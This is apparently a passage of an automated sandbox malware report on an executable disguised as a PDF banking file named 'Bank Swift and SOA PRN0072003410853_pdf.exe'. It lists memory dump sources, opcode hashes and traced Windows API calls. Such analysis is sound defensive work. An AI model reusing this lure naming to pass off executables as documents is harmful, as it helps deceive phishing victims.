                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
                                                                                                            • Instruction ID: 0bcb7f2cf841bf472a0df6abca0e2eee6c891e9108e2cead3d2ea24e9771fd10
                                                                                                            • Opcode Fuzzy Hash: fe49718026384e2f2d8d8d283f1539e894bec1c05f027991fc18b2b3d3b0abdf
                                                                                                            • Instruction Fuzzy Hash: D6A15671E00229CBDF28CFA8C854BADBBB1FF44305F15816AD856BB281C7785A96DF44
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
                                                                                                            • Instruction ID: 5ff8dc76d646c522b35349404ae71f3a07db7e5a5a41cf42f501ef55767b32d6
                                                                                                            • Opcode Fuzzy Hash: 7c1b3bbb7fb5d360c352e29dce0ca82793dba8b39a20caf6091836a7e5acd446
                                                                                                            • Instruction Fuzzy Hash: DD913470E04229CBEF28CF98C8547ADBBB1FF44305F15816AD852BB291C7789996DF44
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
                                                                                                            • Instruction ID: bb31d40f455f6cff8f0b7d4569728449f81f985eb729d97d8cba9c35205a948c
                                                                                                            • Opcode Fuzzy Hash: 06a588dc36723823e64c1d76eb6b79df0e0f5c7b74692a20a357622d355e40c3
                                                                                                            • Instruction Fuzzy Hash: A6814471E04228CBDF24CFA8C844BADBBB1FF44305F25816AD456BB281C7789996DF44
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
                                                                                                            • Instruction ID: e59bb743c0d69fedc8ec9c1b53f92d0ee49f9853fc7f4c6d73f4ee5c7875ed1f
                                                                                                            • Opcode Fuzzy Hash: 72aa8ec3dd0942b5b71c471d9b9626f4b4465e3dfbf4f8c787812f56ef585442
                                                                                                            • Instruction Fuzzy Hash: FE816671E04228DBDF24CFA8C8447ADBBB0FF44305F15816AD856BB281C7786996DF44
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
                                                                                                            • Instruction ID: 9556348457f1f5f1301c48e47fc8538a45dff02eab8277f34011f15b85b09a92
                                                                                                            • Opcode Fuzzy Hash: 1d7d6eeb6ae866c31b6fd6fb1bb683d5497ea3b6253a7880f6caf84b5ad72384
                                                                                                            • Instruction Fuzzy Hash: 43711271E00228DBDF28CF98C854BADBBB1FF48305F15806AD816BB281C7789996DF54
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
                                                                                                            • Instruction ID: ef61438920200bd82941886013112b5956151ce3a95704f571d29bdd470ffe0d
                                                                                                            • Opcode Fuzzy Hash: 55af2c983f537d9a3a53cfac4a449f3e0c8fe7d310f5448a54a9ff87f60f3244
                                                                                                            • Instruction Fuzzy Hash: FF713571E00228DBDF28CF98C854BADBBB1FF44305F15806AD856BB291C7789996DF44
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
                                                                                                            • Instruction ID: 0528ad5c4640a45b82c18dce6d1929194436f5f2edf35a138e23b2c729619556
                                                                                                            • Opcode Fuzzy Hash: 720b16b0405195766e324cd34a7adf45238a3bda3f5e9f89198b3f7d2eee93b7
                                                                                                            • Instruction Fuzzy Hash: AD714671E00228DBDF28CF98C854BADBBB1FF44305F15806AD816BB291C778AA56DF44
                                                                                                            APIs
                                                                                                            • GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00401FC3
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
                                                                                                              • Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
                                                                                                              • Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
                                                                                                              • Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
                                                                                                              • Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F
                                                                                                            • LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 00401FD4
                                                                                                            • FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402051
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
                                                                                                            • String ID:
                                                                                                            • API String ID: 334405425-0
                                                                                                            • Opcode ID: ec4ed1b09714f1aa9f835f2dbd5309446028e52bc8e450eb177df983279e41a5
                                                                                                            • Instruction ID: 2e01ab74a4c934f7e6015694823d512690d69bb111ffb1ad89b514660c000c84
                                                                                                            • Opcode Fuzzy Hash: ec4ed1b09714f1aa9f835f2dbd5309446028e52bc8e450eb177df983279e41a5
                                                                                                            • Instruction Fuzzy Hash: 65219871904215F6CF106F95CE48ADEBAB4AB04358F70417BF601B51E0D7B94D41DA6D
                                                                                                            APIs
                                                                                                            • GlobalFree.KERNEL32(0085DD60), ref: 00401B92
                                                                                                            • GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BA4
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Global$AllocFree
                                                                                                            • String ID: Call
                                                                                                            • API String ID: 3394109436-1824292864
                                                                                                            • Opcode ID: fa756fabfd28fe389d560697bb7080b79a52f5873eaf941668f0573c6073e784
                                                                                                            • Instruction ID: 0d74e211bf3f77f63613a954a16e526c6d046d9130d490d95d437df5f5263094
                                                                                                            • Opcode Fuzzy Hash: fa756fabfd28fe389d560697bb7080b79a52f5873eaf941668f0573c6073e784
                                                                                                            • Instruction Fuzzy Hash: 2F2196B2604501ABCB10EB94DE8599FB3A8EB44318B24053BF541B32D1D778AC019FAD
                                                                                                            APIs
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2522825537.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2522813356.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522838191.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2522859105.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_10000000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: EnumErrorLastWindows
                                                                                                            • String ID:
                                                                                                            • API String ID: 14984897-0
                                                                                                            • Opcode ID: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
                                                                                                            • Instruction ID: 346bc7c3d20138bcfc700b2b1684b28c90b224d1e8b0175626a50a5a3d135241
                                                                                                            • Opcode Fuzzy Hash: 56b0631d48e3d5b058df37f2c0bf37a0ba3bd5c787ddc121e10f68fdc3118472
                                                                                                            • Instruction Fuzzy Hash: 0E51A2BA905215DFFB10DFA4DC8275937A8EB443D4F22C42AEA049721DCF34A991CB55
                                                                                                            APIs
                                                                                                              • Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000001FE,00000000,00000022,00000000,?,?), ref: 00402C6C
                                                                                                            • RegQueryValueExW.KERNELBASE(00000000,00000000,?,00000800,?,?,?,?,00000033), ref: 00402411
                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsh20B3.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CloseOpenQueryValue
                                                                                                            • String ID:
                                                                                                            • API String ID: 3677997916-0
                                                                                                            • Opcode ID: 73cf7011403a251bc8a8568549cb6b978d79a09763c44604493d81e759c4a0f6
                                                                                                            • Instruction ID: d36666ef43ed86f5efc63e353f879872970ea39244a0d469f35bb849977519d9
                                                                                                            • Opcode Fuzzy Hash: 73cf7011403a251bc8a8568549cb6b978d79a09763c44604493d81e759c4a0f6
                                                                                                            • Instruction Fuzzy Hash: 3A117371915205EEDF14CFA0C6889AFB7B4EF40359F20843FE042A72D0D7B85A41DB5A
                                                                                                            APIs
                                                                                                            • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                                                                                            • SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: MessageSend
                                                                                                            • String ID:
                                                                                                            • API String ID: 3850602802-0
                                                                                                            • Opcode ID: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
                                                                                                            • Instruction ID: f7aa54b913f5ca68b4de92db4f2492a915771a0f44b2d9fd206d2c7cbab0d3a4
                                                                                                            • Opcode Fuzzy Hash: c61a7965c9618faeb417bc3a597272482dc455235e96daa415df5349b26d071e
                                                                                                            • Instruction Fuzzy Hash: B501F431724210ABE7295B789C05B6A3698E720314F10853FF911F72F1DA78DC138B4D
                                                                                                            APIs
                                                                                                            • ShowWindow.USER32(00000000,00000000,00000001), ref: 00401DDD
                                                                                                            • EnableWindow.USER32(00000000,00000000), ref: 00401DE8
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Window$EnableShow
                                                                                                            • String ID:
                                                                                                            • API String ID: 1136574915-0
                                                                                                            • Opcode ID: be98ff442c713d64b2aef3360118115c19863b97becbdb99d22bcda0d6aeac62
                                                                                                            • Instruction ID: 4da21f5269aa326e6de85e385cb401583d451f1930efd1289825586750b78c36
                                                                                                            • Opcode Fuzzy Hash: be98ff442c713d64b2aef3360118115c19863b97becbdb99d22bcda0d6aeac62
                                                                                                            • Instruction Fuzzy Hash: 84E08CB2B04104DBDB50AFF4AA889DD7378AB90369B20087BF402F10D1C2B86C008E3E
                                                                                                            APIs
                                                                                                            • GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe,80000000,00000003), ref: 00405B5A
                                                                                                            • CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000000.00000002.2516734302.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000000.00000002.2516717845.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516747360.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516759910.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000000.00000002.2516832583.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_0_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: File$AttributesCreate
                                                                                                            • String ID:
                                                                                                            • API String ID: 415043291-0
                                                                                                            • Opcode ID: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
                                                                                                            • Instruction ID: 50e17d5b3030c5d5ce0b1439250f6e41608f831a0cbc2ce1bc41554210f96241
                                                                                                            • Opcode Fuzzy Hash: 29e75e61bcb11788d424f4f71b5fd4206a8d95c56bb837550d9b6456a4565c05
                                                                                                            • Instruction Fuzzy Hash: 48D09E71658201EFFF098F20DE16F2EBBA2EB84B00F10562CB656940E0D6715815DB16
                                                                                                            APIs
